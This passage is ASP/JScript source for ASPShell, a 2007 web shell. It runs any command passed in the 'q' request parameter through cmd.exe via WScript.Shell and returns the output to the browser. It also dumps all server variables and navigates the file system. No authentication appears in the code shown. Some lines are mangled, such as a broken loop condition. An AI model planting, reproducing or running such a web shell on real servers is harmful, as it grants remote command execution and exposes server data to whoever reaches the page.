*/ var version = "0.2 (beta) [2007-09-29]"; var homepagelink = "http://aspshell.sourceforge.net"; var q = Request("q")(); var cd = Request("cd")(); if (q) { var command = ""; var output = ""; if (q.length == 0) { q = ":"; } command = "" + q; if (command == "?") { output = " ? this help page\n" + " :sv all server variables\n" + " execute any shell command\n"; } else if (command.toLowerCase() == ":sv") { var sv = ""; var svvalue = ""; var esv = new Enumerator(Request.ServerVariables); for (; !esv.atEnd(); esv.moveNext()) { sv = esv.item(); output += sv; output += ": "; svvalue = "" + Request.ServerVariables(sv); if (svvalue.indexOf("\n") >= 0) { output += "\n"; var svitems = svvalue.split("\n"); for (var i=0; i 0) { output += " "; output += svitems[i]; output += "\n"; } } } else { output += svvalue; output += "\n"; } } } else if (command.toLowerCase() == ":cd") { var fso = new ActiveXObject("Scripting.FileSystemObject"); output = fso.GetAbsolutePathName("."); } else if (/^:checkdir\s(.*)?$/i.test(command)) { var newdirabs = ""; var newdir = RegExp.$1; var fso = new ActiveXObject("Scripting.FileSystemObject"); var cdnorm = fso.GetFolder(cd).Path; if (/^\\/i.test(newdir)) { newdirabs = fso.GetFolder(cd).Drive + newdir; } else if (/^\w:/i.test(newdir)) { newdirabs = fso.GetAbsolutePathName(newdir); } else { newdirabs = fso.GetAbsolutePathName(fso.GetFolder(cd).Path + "\\" + newdir); } output = fso.FolderExists(newdirabs) ? newdirabs : "fail"; } else { var changedir = ""; var currdrive = ""; var currpath = ""; var colonpos = cd.indexOf(":"); if (colonpos >= 0) { currdrive = cd.substr(0, colonpos+1); currpath = cd.substr(colonpos+1); changedir = currdrive + " && cd \"" + currpath + "\" && "; } var shell = new ActiveXObject("WScript.Shell"); var pipe = shell.Exec("%comspec% /c \"" + changedir + command + "\""); output = pipe.StdOut.ReadAll() + pipe.StdErr.ReadAll(); } Response.Write(output); } else { var fso = new ActiveXObject("Scripting.FileSystemObject"); var currentpath = fso.GetAbsolutePathName("."); var currentdrive = fso.GetDrive(fso.GetDriveName(currentpath)); var drivepath = currentdrive.Path; %> Web Shell
ASPShell - Web-based Shell Environment Version <%=version%>
Copyright (c) 2007 Kurt Hanner, <%=homepagelink%>

<% } %>